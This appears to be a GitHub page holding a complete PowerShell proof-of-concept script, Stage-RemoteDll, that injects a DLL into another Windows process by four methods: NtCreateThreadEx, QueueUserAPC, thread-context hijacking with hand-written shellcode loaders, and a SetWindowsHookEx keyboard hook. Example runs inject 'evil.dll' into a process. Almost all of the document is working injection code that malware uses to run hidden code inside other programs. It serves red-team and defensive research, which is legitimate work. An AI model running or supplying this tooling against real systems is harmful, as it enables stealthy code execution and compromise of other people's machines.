Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
885 lines (806 sloc)
27.7 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Stage-RemoteDll { | |
<# | |
.SYNOPSIS | |
Stage-RemoteDll is a small function to demonstrate various Dll injection techniques | |
(NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx) on 32 and | |
64 bit architectures. While I have done some input validation & cleanup, this is | |
mostly POC code. Note also that these techniques can easily be repurposed to | |
directly execute shellcode in the remote process. | |
Notes: | |
- I tested these techniques using notepad on Win10 x64 RS2 and Win7 x32 SP1, | |
the recommended testing platform being Win10 x64. | |
- All methods can execute code from DllMain (DLL_PROCESS_ATTACH). Additionally, | |
SetWindowsHookEx places a WH_KEYBOARD hook procedure into the hook chain | |
which will execute an exported Dll function when pressing a key while the | |
main application window is in focus. | |
Caveats: | |
- I found that SetWindowsHookEx was not working on Win7 x32. If anyone has any | |
ideas I will update the script. | |
Reference: | |
- I wrote this mostly to educate myself, the contents of this script are based | |
on an excellent post by @fdiskyou => http://blog.deniable.org/blog/2017/07/16/inject-all-the-things/ | |
.DESCRIPTION | |
Author: Ruben Boonen (@FuzzySec) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.PARAMETER ProcID | |
PID of the target process. | |
.PARAMETER DllPath | |
Path to the Dll (relative or full). | |
.PARAMETER Mode | |
NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx. | |
.PARAMETER ExportedFunction | |
Exported function name in the Dll. | |
.EXAMPLE | |
# Boolean return value | |
C:\PS> $CallResult = Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx | |
C:\PS> $CallResult | |
True | |
.EXAMPLE | |
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx -Verbose | |
VERBOSE: [+] Using NtCreateThreadEx | |
VERBOSE: [>] Opening notepad | |
VERBOSE: [>] Allocating DLL path memory | |
VERBOSE: [>] Writing DLL string | |
VERBOSE: [>] Locating LoadLibraryA | |
VERBOSE: [>] Creating remote thread | |
VERBOSE: [>] Cleaning up.. | |
True | |
.EXAMPLE | |
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode QueueUserAPC -Verbose | |
VERBOSE: [+] Using QueueUserAPC | |
VERBOSE: [>] Opening notepad | |
VERBOSE: [>] Allocating DLL path memory | |
VERBOSE: [>] Writing DLL string | |
VERBOSE: [>] Locating LoadLibraryA | |
VERBOSE: [>] Getting process threads | |
VERBOSE: [>] Registering APC's with all threads | |
VERBOSE: --> Success, registered APC | |
VERBOSE: --> Success, registered APC | |
VERBOSE: --> Success, registered APC | |
VERBOSE: --> Success, registered APC | |
VERBOSE: [>] Cleaning up.. | |
True | |
.EXAMPLE | |
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode SetThreadContext -Verbose | |
VERBOSE: [+] Using SetThreadContext | |
VERBOSE: [>] Opening notepad | |
VERBOSE: [>] Allocating shellcode memory | |
VERBOSE: [>] Allocating DLL path memory | |
VERBOSE: [>] Writing DLL string | |
VERBOSE: [>] Locating LoadLibraryA | |
VERBOSE: [>] Getting a process TID | |
VERBOSE: [>] Opening process TID | |
VERBOSE: [>] Suspending thread | |
VERBOSE: [>] Rewriting thread context | |
VERBOSE: [>] Allocating shellcode | |
VERBOSE: [>] Setting thread context & resuming | |
VERBOSE: [>] Cleaning up.. | |
True | |
.EXAMPLE | |
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode SetWindowsHookEx -ExportedFunction pwnfunc -Verbose | |
VERBOSE: [+] Using SetWindowsHookEx | |
VERBOSE: [>] Loading payload DLL | |
VERBOSE: [>] Locating exported function | |
VERBOSE: [>] Locating process main window handle | |
VERBOSE: [>] Locating main window thread | |
VERBOSE: [>] Installing WH_KEYBOARD hook procedure | |
VERBOSE: [>] Waiting to release hook | |
VERBOSE: [>] Remote process executed hook | |
VERBOSE: [>] Cleaning up.. | |
True | |
#> | |
[CmdletBinding()] | |
param ( | |
[Parameter(Mandatory = $True)] | |
[int]$ProcID, | |
[Parameter(Mandatory = $True)] | |
[string]$DllPath, | |
[Parameter(Mandatory = $True)] | |
[ValidateSet( | |
'NtCreateThreadEx', | |
'QueueUserAPC', | |
'SetThreadContext', | |
'SetWindowsHookEx') | |
] | |
[string]$Mode, | |
[Parameter(Mandatory = $False)] | |
[string]$ExportedFunction | |
) | |
# Set inline CONTEXT32 or CONTEXT64 | |
if (${Env:ProgramFiles(x86)}) { | |
$ContextStruct = "CONTEXT64" | |
} else { | |
$ContextStruct = "CONTEXT32" | |
} | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
[StructLayout(LayoutKind.Sequential)] | |
public struct FLOATING_SAVE_AREA | |
{ | |
public uint ControlWord; | |
public uint StatusWord; | |
public uint TagWord; | |
public uint ErrorOffset; | |
public uint ErrorSelector; | |
public uint DataOffset; | |
public uint DataSelector; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] | |
public byte[] RegisterArea; | |
public uint Cr0NpxState; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct CONTEXT32 | |
{ | |
public uint ContextFlags; | |
public uint Dr0; | |
public uint Dr1; | |
public uint Dr2; | |
public uint Dr3; | |
public uint Dr6; | |
public uint Dr7; | |
public FLOATING_SAVE_AREA FloatSave; | |
public uint SegGs; | |
public uint SegFs; | |
public uint SegEs; | |
public uint SegDs; | |
public uint Edi; | |
public uint Esi; | |
public uint Ebx; | |
public uint Edx; | |
public uint Ecx; | |
public uint Eax; | |
public uint Ebp; | |
public uint Eip; | |
public uint SegCs; | |
public uint EFlags; | |
public uint Esp; | |
public uint SegSs; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] | |
public byte[] ExtendedRegisters; | |
} | |
[StructLayout(LayoutKind.Explicit, Size=0x4d0)] | |
public struct CONTEXT64 | |
{ | |
[FieldOffset(0x0)] public ulong P1Home; | |
[FieldOffset(0x8)] public ulong P2Home; | |
[FieldOffset(0x10)] public ulong P3Home; | |
[FieldOffset(0x18)] public ulong P4Home; | |
[FieldOffset(0x20)] public ulong P5Home; | |
[FieldOffset(0x28)] public ulong P6Home; | |
[FieldOffset(0x30)] public uint ContextFlags; | |
[FieldOffset(0x34)] public uint MxCsr; | |
[FieldOffset(0x38)] public ushort SegCs; | |
[FieldOffset(0x3a)] public ushort SegDs; | |
[FieldOffset(0x3c)] public ushort SegEs; | |
[FieldOffset(0x3e)] public ushort SegFs; | |
[FieldOffset(0x40)] public ushort SegGs; | |
[FieldOffset(0x42)] public ushort SegSs; | |
[FieldOffset(0x44)] public uint EFlags; | |
[FieldOffset(0x48)] public ulong Dr0; | |
[FieldOffset(0x50)] public ulong Dr1; | |
[FieldOffset(0x58)] public ulong Dr2; | |
[FieldOffset(0x60)] public ulong Dr3; | |
[FieldOffset(0x68)] public ulong Dr6; | |
[FieldOffset(0x70)] public ulong Dr7; | |
[FieldOffset(0x78)] public ulong Rax; | |
[FieldOffset(0x80)] public ulong Rcx; | |
[FieldOffset(0x88)] public ulong Rdx; | |
[FieldOffset(0x90)] public ulong Rbx; | |
[FieldOffset(0x98)] public ulong Rsp; | |
[FieldOffset(0xa0)] public ulong Rbp; | |
[FieldOffset(0xa8)] public ulong Rsi; | |
[FieldOffset(0xb0)] public ulong Rdi; | |
[FieldOffset(0xb8)] public ulong R8; | |
[FieldOffset(0xc0)] public ulong R9; | |
[FieldOffset(0xc8)] public ulong R10; | |
[FieldOffset(0xd0)] public ulong R11; | |
[FieldOffset(0xd8)] public ulong R12; | |
[FieldOffset(0xe0)] public ulong R13; | |
[FieldOffset(0xe8)] public ulong R14; | |
[FieldOffset(0xf0)] public ulong R15; | |
[FieldOffset(0xf8)] public ulong Rip; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 976)] | |
[FieldOffset(0x100)] public byte[] ExtendedRegisters; | |
} | |
public static class Inject | |
{ | |
/// NtDll | |
[DllImport("ntdll.dll")] | |
public static extern UInt32 NtCreateThreadEx( | |
ref IntPtr hThread, | |
UInt32 DesiredAccess, | |
IntPtr ObjectAttributes, | |
IntPtr ProcessHandle, | |
IntPtr lpStartAddress, | |
IntPtr lpParameter, | |
bool CreateSuspended, | |
UInt32 StackZeroBits, | |
UInt32 SizeOfStackCommit, | |
UInt32 SizeOfStackReserve, | |
IntPtr lpBytesBuffer); | |
/// Kernel32 | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr OpenProcess( | |
UInt32 processAccess, | |
bool bInheritHandle, | |
int processId); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr VirtualAllocEx( | |
IntPtr hProcess, | |
IntPtr lpAddress, | |
uint dwSize, | |
int flAllocationType, | |
int flProtect); | |
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] | |
public static extern bool VirtualFreeEx( | |
IntPtr hProcess, | |
IntPtr lpAddress, | |
UInt32 dwSize, | |
UInt32 dwFreeType); | |
[DllImport("kernel32.dll")] | |
public static extern bool WriteProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
uint nSize, | |
ref UInt32 lpNumberOfBytesWritten); | |
[DllImport("kernel32.dll", CharSet=CharSet.Auto)] | |
public static extern IntPtr GetModuleHandle( | |
string lpModuleName); | |
[DllImport("kernel32", CharSet=CharSet.Ansi)] | |
public static extern IntPtr GetProcAddress( | |
IntPtr hModule, | |
string procName); | |
[DllImport("kernel32.dll")] | |
public static extern UInt32 WaitForSingleObject( | |
IntPtr hHandle, | |
UInt32 dwMilliseconds); | |
[DllImport("kernel32.dll")] | |
public static extern bool VirtualFreeEx( | |
IntPtr hProcess, | |
IntPtr lpAddress, | |
int dwSize, | |
int dwFreeType); | |
[DllImport("kernel32.dll")] | |
public static extern bool CloseHandle( | |
IntPtr hObject); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr OpenThread( | |
UInt32 dwDesiredAccess, | |
bool bInheritHandle, | |
uint dwThreadId); | |
[DllImport("kernel32.dll")] | |
public static extern bool QueueUserAPC( | |
IntPtr pfnAPC, | |
IntPtr hThread, | |
IntPtr dwData); | |
[DllImport("kernel32.dll")] | |
public static extern bool IsWow64Process( | |
IntPtr hProcess, | |
ref bool Wow64Process); | |
[DllImport("kernel32.dll")] | |
public static extern int SuspendThread( | |
IntPtr hThread); | |
[DllImport("kernel32.dll")] | |
public static extern bool GetThreadContext( | |
IntPtr hThread, | |
ref $ContextStruct lpContext); | |
[DllImport("kernel32.dll")] | |
public static extern bool SetThreadContext( | |
IntPtr hThread, | |
ref $ContextStruct lpContext); | |
[DllImport("kernel32.dll")] | |
public static extern uint ResumeThread( | |
IntPtr hThread); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr LoadLibraryEx( | |
string lpFileName, | |
IntPtr hReservedNull, | |
int dwFlags); | |
/// User32 | |
[DllImport("user32.dll")] | |
public static extern uint GetWindowThreadProcessId( | |
IntPtr hWnd, | |
ref uint lpdwProcessId); | |
[DllImport("user32.dll")] | |
public static extern IntPtr SetWindowsHookEx( | |
int hookType, | |
IntPtr lpfn, | |
IntPtr hMod, | |
uint dwThreadId); | |
[DllImport("user32.dll")] | |
public static extern bool UnhookWindowsHookEx( | |
IntPtr hhk); | |
} | |
"@ | |
function Invoke-AllTheChecks { | |
# Setup Dll vars | |
try { | |
$DllPath = (Resolve-Path $DllPath -ErrorAction Stop).Path | |
$AsciiDllPathArray = (New-Object System.Text.ASCIIEncoding).GetBytes($DllPath) | |
# Check Dll arch | |
$DllBytes = [System.IO.File]::ReadAllBytes($DllPath) | |
$Pe = [Int32] ('0x{0}' -f (($DllBytes[63..60] | % {$_.ToString('X2')}) -join '')) | |
$PeArch = [UInt16] ('0x{0}' -f (($DllBytes[($Pe+24+1)..($Pe+24)] | % {$_.ToString('X2')}) -join '')) | |
} catch { | |
$DllPath = $false | |
$AsciiDllPathArray = $false | |
$PeArch = $false | |
} | |
# Check PowerShell proc architecture | |
if ([IntPtr]::Size -eq 4) { | |
$PoshIs32 = $true | |
} else { | |
$PoshIs32 = $false | |
} | |
# Check machine architecture | |
if (${Env:ProgramFiles(x86)}) { | |
$OsIs32 = $false | |
} else { | |
$OsIs32 = $true | |
} | |
# Check PID exists | |
$GetProc = Get-Process -Id $ProcID -ErrorAction SilentlyContinue | |
if ($GetProc) { | |
$ProcIsValid = $true | |
# Get PID architecture | |
if ($OsIs32 -eq $false) { | |
# PROCESS_QUERY_LIMITED_INFORMATION | |
$hProc = [Inject]::OpenProcess(0x1000,$false,$ProcID) | |
$ProcIs32 = $False | |
$CallResult = [Inject]::IsWow64Process($hProc,[ref]$ProcIs32) | |
$CallResult = [Inject]::CloseHandle($hProc) | |
} else { | |
$ProcIs32 = $true | |
} | |
} else { | |
$ProcIsValid = $false | |
} | |
$HashTable = @{ | |
DllPath = $DllPath | |
DllArch = $PeArch # 267=0x010b=x32/523=0x020b=x64 | |
AsciiDllPathArray = $AsciiDllPathArray | |
PoshIs32 = $PoshIs32 | |
OsIs32 = $OsIs32 | |
ProcIsValid = $ProcIsValid | |
ProcIs32 = $ProcIs32 | |
} | |
New-Object PSObject -Property $HashTable | |
} | |
# Do some input validation on function args | |
$PreRunChecks = Invoke-AllTheChecks | |
if ($PreRunChecks.ProcIsValid -eq $false) { | |
Write-Verbose "[!] Invalid process specified.." | |
$false | |
Return | |
} | |
if ($PreRunChecks.DllPath -eq $false) { | |
Write-Verbose "[!] Invalid Dll path specified.." | |
$false | |
Return | |
} | |
if ($PreRunChecks.ProcIs32 -eq $true -And $PreRunChecks.DllArch -eq 0x20b) { | |
Write-Verbose "[!] Cannot inject x64 Dll into x32 process.." | |
$false | |
Return | |
} | |
if ($PreRunChecks.ProcIs32 -eq $false -And $PreRunChecks.DllArch -eq 0x10b) { | |
Write-Verbose "[!] Cannot inject x32 Dll into x64 process.." | |
$false | |
Return | |
} | |
if ($PreRunChecks.OsIs32 -eq $false -And $PreRunChecks.ProcIs32 -eq $true) { | |
Write-Verbose "[!] Cannot inject into x32 process on x64 OS.." | |
$false | |
Return | |
} | |
if ($PreRunChecks.OsIs32 -eq $false -And $PreRunChecks.PoshIs32 -eq $true) { | |
Write-Verbose "[!] Cannot inject from x32 PowerShell on x64 OS.." | |
$false | |
Return | |
} | |
if ($Mode -eq "SetWindowsHookEx" -And !$ExportedFunction) { | |
Write-Verbose "[!] Calling SetWindowsHookEx requires an exported function.." | |
$false | |
Return | |
} | |
if ($Mode -eq "NtCreateThreadEx") { | |
# Print method | |
Write-Verbose "[+] Using NtCreateThreadEx" | |
## Get process handle | |
# => PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE | |
#-------- | |
Write-Verbose "[>] Opening $($(Get-Process -PID $ProcID).ProcessName)" | |
$hProc = [Inject]::OpenProcess(0x42A,$false,$ProcID) | |
if ($hProc -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] OpenProcess failed.." | |
$false | |
Return | |
} | |
## Alloc Dll string | |
#-------- | |
Write-Verbose "[>] Allocating DLL path memory" | |
$pRemoteAlloc = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,$PreRunChecks.DllPath.Length,0x3000,4) | |
if ($pRemoteAlloc -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] VirtualAllocEx failed.." | |
$false | |
Return | |
} | |
## Write Dll String | |
#-------- | |
Write-Verbose "[>] Writing DLL string" | |
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteAlloc,$PreRunChecks.AsciiDllPathArray,$PreRunChecks.DllPath.Length,[ref]0) | |
if (!$CallResult) { | |
Write-Verbose "[!] WriteProcessMemory failed.." | |
$false | |
Return | |
} | |
## Get LoadLibraryA | |
#-------- | |
Write-Verbose "[>] Locating LoadLibraryA" | |
$pLoadLibraryA = [Inject]::GetProcAddress($([Inject]::GetModuleHandle("kernel32.dll")),"LoadLibraryA") | |
if ($pLoadLibraryA -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] GetProcAddress failed.." | |
$false | |
Return | |
} | |
## Create Thread | |
#-------- | |
Write-Verbose "[>] Creating remote thread" | |
$hRemoteThread = [IntPtr]::Zero | |
$CallResult = [Inject]::NtCreateThreadEx([ref]$hRemoteThread,0x1FFFFF,[IntPtr]::Zero,$hProc,$pLoadLibraryA,$pRemoteAlloc,$false,0,0xffff,0xffff,[IntPtr]::Zero) | |
if ($hRemoteThread -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] NtCreateThreadEx failed.." | |
$false | |
Return | |
} else { | |
Start-Sleep -s 2 # Not sure if needed, to ensure our thread finishes | |
# before we free. Can also use WaitForSingleObject | |
# but there is no added benefit.. | |
} | |
## Clean up | |
#-------- | |
Write-Verbose "[>] Cleaning up.." | |
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteAlloc,$PreRunChecks.DllPath.Length,0x8000) # MEM_RELEASE (0x8000) | |
$CallResult = [Inject]::CloseHandle($hRemoteThread) | |
$CallResult = [Inject]::CloseHandle($hProc) | |
$true | |
} | |
if ($Mode -eq "QueueUserAPC") { | |
# Print method | |
Write-Verbose "[+] Using QueueUserAPC" | |
## Get process handle | |
# => PROCESS_VM_OPERATION|PROCESS_VM_WRITE | |
#-------- | |
Write-Verbose "[>] Opening $($(Get-Process -PID $ProcID).ProcessName)" | |
$hProc = [Inject]::OpenProcess(0x28,$false,$ProcID) | |
if ($hProc -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] OpenProcess failed.." | |
$false | |
Return | |
} | |
## Alloc Dll string | |
#-------- | |
Write-Verbose "[>] Allocating DLL path memory" | |
$pRemoteAlloc = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,$PreRunChecks.DllPath.Length,0x3000,4) | |
if ($pRemoteAlloc -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] VirtualAllocEx failed.." | |
$false | |
Return | |
} | |
## Write Dll String | |
#-------- | |
Write-Verbose "[>] Writing DLL string" | |
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteAlloc,$PreRunChecks.AsciiDllPathArray,$PreRunChecks.DllPath.Length,[ref]0) | |
if (!$CallResult) { | |
Write-Verbose "[!] WriteProcessMemory failed.." | |
$false | |
Return | |
} | |
## Get LoadLibraryA | |
#-------- | |
Write-Verbose "[>] Locating LoadLibraryA" | |
$pLoadLibraryA = [Inject]::GetProcAddress($([Inject]::GetModuleHandle("kernel32.dll")),"LoadLibraryA") | |
if ($pLoadLibraryA -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] GetProcAddress failed.." | |
$false | |
Return | |
} | |
## Get Process TID's | |
#-------- | |
Write-Verbose "[>] Getting process threads" | |
$ProcTIDs = (Get-Process -Id $ProcID).Threads |Select -ExpandProperty Id | |
if ($ProcTIDs -eq 0) { | |
Write-Verbose "[!] No threads found in the target process" | |
$false | |
Return | |
} | |
## Open TID's and register APC | |
#-------- | |
Write-Verbose "[>] Registering APC's with all threads" | |
$ProcTIDs |ForEach-Object { | |
# THREAD_SET_CONTEXT | |
$hThread = [Inject]::OpenThread(0x10,$false,$_) | |
if ($hThread -eq [IntPtr]::Zero) { | |
Write-Verbose " --> OpenThread failed.." | |
} else { | |
# Register APC | |
$CallResult = [Inject]::QueueUserAPC($pLoadLibraryA,$hThread,$pRemoteAlloc) | |
if (!$CallResult) { | |
Write-Verbose " --> QueueUserAPC failed.." | |
} else { | |
Write-Verbose " --> Success, registered APC" | |
$CallResult = [Inject]::CloseHandle($hThread) | |
} | |
} | |
} | |
## Clean up | |
#-------- | |
Write-Verbose "[>] Cleaning up.." | |
$CallResult = [Inject]::CloseHandle($hProc) | |
$true | |
} | |
if ($Mode -eq "SetThreadContext") { | |
# Print method | |
Write-Verbose "[+] Using SetThreadContext" | |
## Get process handle | |
# => PROCESS_ALL_ACCESS | |
#-------- | |
Write-Verbose "[>] Opening $($(Get-Process -PID $ProcID).ProcessName)" | |
$hProc = [Inject]::OpenProcess(0x1F0FFF,$false,$ProcID) | |
if ($hProc -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] OpenProcess failed.." | |
$false | |
Return | |
} | |
## Alloc ScLoadLib space | |
#-------- | |
Write-Verbose "[>] Allocating shellcode memory" | |
if ($PreRunChecks.OsIs32 -eq $true) { | |
$pRemoteScLoadLib = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,0x16,0x1000,0x40) | |
} else { | |
$pRemoteScLoadLib = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,0x57,0x1000,0x40) | |
} | |
if ($pRemoteScLoadLib -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] VirtualAllocEx failed.." | |
$false | |
Return | |
} | |
## Alloc Dll string | |
#-------- | |
Write-Verbose "[>] Allocating DLL path memory" | |
$pRemoteDll = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,$PreRunChecks.DllPath.Length,0x3000,0x40) | |
if ($pRemoteDll -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] VirtualAllocEx failed.." | |
$false | |
Return | |
} | |
## Write Dll String | |
#-------- | |
Write-Verbose "[>] Writing DLL string" | |
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteDll,$PreRunChecks.AsciiDllPathArray,$PreRunChecks.DllPath.Length,[ref]0) | |
if (!$CallResult) { | |
Write-Verbose "[!] WriteProcessMemory failed.." | |
$false | |
Return | |
} | |
## Get LoadLibraryA | |
#-------- | |
Write-Verbose "[>] Locating LoadLibraryA" | |
$pLoadLibraryA = [Inject]::GetProcAddress($([Inject]::GetModuleHandle("kernel32.dll")),"LoadLibraryA") | |
if ($pLoadLibraryA -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] GetProcAddress failed.." | |
$false | |
Return | |
} | |
## Get a TID for the process | |
#-------- | |
Write-Verbose "[>] Getting a process TID" | |
$ProcTID = ((Get-Process -Id $ProcID).Threads)[0].Id | |
if (!$ProcTID) { | |
Write-Verbose "[!] No threads found in the target process.." | |
$false | |
Return | |
} | |
## Suspend TID and get context | |
#-------- | |
# THREAD_GET_CONTEXT|THREAD_SET_CONTEXT|THREAD_SUSPEND_RESUME | |
Write-Verbose "[>] Opening process TID" | |
$hThread = [Inject]::OpenThread(0x1A,$false,$ProcTID) | |
if ($hThread -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] OpenThread failed.." | |
$false | |
Return | |
} else { | |
Write-Verbose "[>] Suspending thread" | |
$CallResult = [Inject]::SuspendThread($hThread) | |
if ($CallResult -eq -1) { | |
Write-Verbose "[!] SuspendThread failed.." | |
$false | |
Return | |
} | |
$CONTEXT = New-Object $ContextStruct | |
$CONTEXT.ContextFlags = 0x10001 | |
$CallResult = [Inject]::GetThreadContext($hThread,[ref]$CONTEXT) | |
Write-Verbose "[>] Rewriting thread context" | |
if ($CallResult -eq $false) { | |
Write-Verbose "[!] GetThreadContext failed.." | |
$false | |
Return | |
} else { | |
if ($PreRunChecks.OsIs32 -eq $true) { | |
$CurrentIP = $CONTEXT.Eip | |
$CONTEXT.Eip = [Int32]$pRemoteScLoadLib | |
$CONTEXT.ContextFlags = 0x10001 | |
} else { | |
$CurrentIP = $CONTEXT.Rip | |
$CONTEXT.Rip = [Int64]$pRemoteScLoadLib | |
$CONTEXT.ContextFlags = 0x10001 | |
} | |
} | |
} | |
## Fill in ScLoadLib vars | |
#-------- | |
if ($PreRunChecks.ProcIs32 -eq $true) { | |
# 32bit loader (Size:22/0x16) | |
$ScLoadLib = [Byte[]] @( | |
0x68) + [System.BitConverter]::GetBytes([Int32]$CurrentIP) + @( # push ReturnAddress | |
0x9c, # pushfd | |
0x60, # pushad | |
0x68) + [System.BitConverter]::GetBytes([Int32]$pRemoteDll) + @( # push pDllPath | |
0xb8) + [System.BitConverter]::GetBytes([Int32]$pLoadLibraryA) + @( # mov eax, LoadLibraryA | |
0xff, 0xd0, # call eax | |
0x61, # popad | |
0x9d, # popfd | |
0xc3 # ret | |
) | |
} else { | |
# 64bit loader (Size:87/0x57) | |
$ScLoadLib = [Byte[]] @( | |
0x50, # push rax (save rax) | |
0x48, 0xB8) + [System.BitConverter]::GetBytes([Int64]$CurrentIP) + @( # mov rax, ReturnAddress | |
0x9c, # pushfq | |
0x51, # push rcx | |
0x52, # push rdx | |
0x53, # push rbx | |
0x55, # push rbp | |
0x56, # push rsi | |
0x57, # push rdi | |
0x41, 0x50, # push r8 | |
0x41, 0x51, # push r9 | |
0x41, 0x52, # push r10 | |
0x41, 0x53, # push r11 | |
0x41, 0x54, # push r12 | |
0x41, 0x55, # push r13 | |
0x41, 0x56, # push r14 | |
0x41, 0x57, # push r15 | |
0x68, 0xef,0xbe,0xad,0xde, # ShadowStack | |
0x48, 0xB9) + [System.BitConverter]::GetBytes([Int64]$pRemoteDll) + @( # mov rcx, pDllPath | |
0x48, 0xB8) + [System.BitConverter]::GetBytes([Int64]$pLoadLibraryA) + @( # mov rax, LoadLibraryA | |
0xFF, 0xD0, # call rax | |
0x58, # pop dummy | |
0x41, 0x5F, # pop r15 | |
0x41, 0x5E, # pop r14 | |
0x41, 0x5D, # pop r13 | |
0x41, 0x5C, # pop r12 | |
0x41, 0x5B, # pop r11 | |
0x41, 0x5A, # pop r10 | |
0x41, 0x59, # pop r9 | |
0x41, 0x58, # pop r8 | |
0x5F, # pop rdi | |
0x5E, # pop rsi | |
0x5D, # pop rbp | |
0x5B, # pop rbx | |
0x5A, # pop rdx | |
0x59, # pop rcx | |
0x9D, # popfq | |
0x58, # pop rax | |
0xC3 # ret | |
) | |
} | |
## Write ScLoadLib | |
#-------- | |
Write-Verbose "[>] Allocating shellcode" | |
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteScLoadLib,$ScLoadLib,$ScLoadLib.Length,[ref]0) | |
if (!$CallResult) { | |
Write-Verbose "[!] WriteProcessMemory failed.." | |
$false | |
Return | |
} | |
## SetThreadContext & ResumeThread | |
#-------- | |
Write-Verbose "[>] Setting thread context & resuming" | |
$CallResult = [Inject]::SetThreadContext($hThread,[ref]$CONTEXT) | |
if (!$CallResult) { | |
Write-Verbose "[!] SetThreadContext failed.." | |
$false | |
Return | |
} | |
$CallResult = [Inject]::ResumeThread($hThread) | |
if ($CallResult -eq -1) { | |
Write-Verbose "[!] ResumeThread failed.." | |
$false | |
Return | |
} | |
## Clean up | |
#-------- | |
Write-Verbose "[>] Cleaning up.." | |
Start-Sleep -s 4 # Wait for shellcode to run | |
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteDll,$PreRunChecks.DllPath.Length,0x8000) # MEM_RELEASE (0x8000) | |
if ($PreRunChecks.OsIs32 -eq $true) { | |
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteScLoadLib,0x16,0x8000) | |
} else { | |
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteScLoadLib,0x57,0x8000) | |
} | |
$CallResult = [Inject]::CloseHandle($hThread) | |
$CallResult = [Inject]::CloseHandle($hProc) | |
$true | |
} | |
if ($Mode -eq "SetWindowsHookEx") { | |
# Print method | |
Write-Verbose "[+] Using SetWindowsHookEx" | |
## Locally load payload dll | |
#-------- | |
Write-Verbose "[>] Loading payload DLL" | |
$hDll = [Inject]::LoadLibraryEx($PreRunChecks.DllPath,[IntPtr]::Zero,0x1) | |
if ($hDll -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] LoadLibraryEx failed.." | |
$false | |
Return | |
} | |
## pExportedFunc | |
#-------- | |
Write-Verbose "[>] Locating exported function" | |
$pExportedFunc = [Inject]::GetProcAddress($hDll,$ExportedFunction) | |
if ($pExportedFunc -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] GetProcAddress failed.." | |
$false | |
Return | |
} | |
## Get main window handle for proc | |
#-------- | |
Write-Verbose "[>] Locating process main window handle" | |
$hWindProc = (Get-Process -Id $ProcID).MainWindowHandle | |
if (!$hWindProc) { | |
Write-Verbose "[!] No Windows found for the target process.." | |
$false | |
Return | |
} | |
## Get TID for main Window handle | |
#-------- | |
Write-Verbose "[>] Locating main window thread" | |
$TargetPid = 0 | |
$WndTID = [Inject]::GetWindowThreadProcessId($hWindProc,[ref]$TargetPid) | |
if ($WndTID -eq 0) { | |
Write-Verbose "[!] GetWindowThreadProcessId failed.." | |
$false | |
Return | |
} | |
## Install WH_KEYBOARD hook | |
#-------- | |
Write-Verbose "[>] Installing WH_KEYBOARD hook procedure" | |
$hHook = [Inject]::SetWindowsHookEx(0x2,$pExportedFunc,$hDll,$WndTID) | |
if ($hHook -eq [IntPtr]::Zero) { | |
Write-Verbose "[!] SetWindowsHookEx failed.." | |
$false | |
Return | |
} | |
## Clean up | |
#-------- | |
Write-Verbose "[>] Waiting to release hook" | |
$DllName = ($DllPath -split "\\")[-1] | |
while ($((Get-process -Id $ProcID).Modules |Select -ExpandProperty ModuleName) -notcontains $DllName) { | |
Start-Sleep -Milliseconds 500 | |
} | |
Write-Verbose "[>] Remote process executed hook" | |
Write-Verbose "[>] Cleaning up.." | |
$CallResult = [Inject]::UnhookWindowsHookEx($hHook) | |
$CallResult = [Inject]::CloseHandle($hDll) | |
$true | |
} | |
} |